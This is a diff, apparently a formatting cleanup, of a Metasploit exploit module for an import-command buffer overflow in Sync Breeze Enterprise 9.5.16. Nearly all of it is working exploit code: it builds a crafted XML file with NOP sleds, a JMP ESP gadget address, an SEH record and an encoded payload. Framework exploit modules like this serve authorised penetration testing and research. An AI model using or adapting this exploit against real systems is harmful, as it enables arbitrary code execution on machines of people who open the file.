@@ -12,14 +12,14 @@ class MetasploitModule < Msf::Exploit::Remote
12
12
def initialize ( info = { } )
13
13
super ( update_info ( info ,
14
14
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow' ,
15
- 'Description' => %q{
15
+ 'Description' => %q(
16
16
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
17
17
by using the import command option to import a specially crafted xml file.
18
- } ,
18
+ ) ,
19
19
'License' => MSF_LICENSE ,
20
20
'Author' =>
21
21
[
22
- 'Daniel Teixeira' ,
22
+ 'Daniel Teixeira'
23
23
] ,
24
24
'References' =>
25
25
[
@@ -39,7 +39,7 @@ def initialize(info = {})
39
39
} ,
40
40
'Targets' =>
41
41
[
42
- [ 'Windows Universal' , { 'Ret' => 0x10015FFE } ] ,
42
+ [ 'Windows Universal' , { 'Ret' => 0x10015FFE } ]
43
43
] ,
44
44
'Privileged' => false ,
45
45
'DisclosureDate' => 'Mar 29 2017' ,
@@ -49,28 +49,26 @@ def initialize(info = {})
49
49
[
50
50
OptString . new ( 'FILENAME' , [ true , 'The file name.' , 'msf.xml' ] )
51
51
] )
52
-
53
52
end
54
53
55
54
def exploit
56
- jmpesp = "\x7A \xB7 \x1B \x65 " #JMP ESP QtGui4.dll
57
- esp = "\x8D \x44 \x24 \x4C " #LEA EAX, [ESP+76]
58
- jmp = "\xFF \xE0 " #JMP ESP
55
+ jmpesp = "\x7A \xB7 \x1B \x65 " # JMP ESP QtGui4.dll
56
+ esp = "\x8D \x44 \x24 \x4C " # LEA EAX, [ESP+76]
57
+ jmp = "\xFF \xE0 " # JMP ESP
59
58
60
59
buffer = "<?xml version=\" 1.0\" encoding=\" UTF-8\" ?>\n <classify\n name=\' "
61
- buffer << "\x90 " * 1536
60
+ buffer << "\x90 " * 1536
62
61
buffer << jmpesp
63
- buffer << "\x90 " * 18
62
+ buffer << "\x90 " * 18
64
63
buffer << esp
65
64
buffer << jmp
66
- buffer << "\x90 " * 68
65
+ buffer << "\x90 " * 68
67
66
buffer << generate_seh_record ( target . ret )
68
- buffer << "\x90 " * 10
67
+ buffer << "\x90 " * 10
69
68
buffer << payload . encoded
70
- buffer << "\x90 " * 5000
69
+ buffer << "\x90 " * 5000
71
70
buffer << "\n </classify>"
72
71
73
-
74
72
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
75
73
file_create ( buffer )
76
74
end
0 commit comments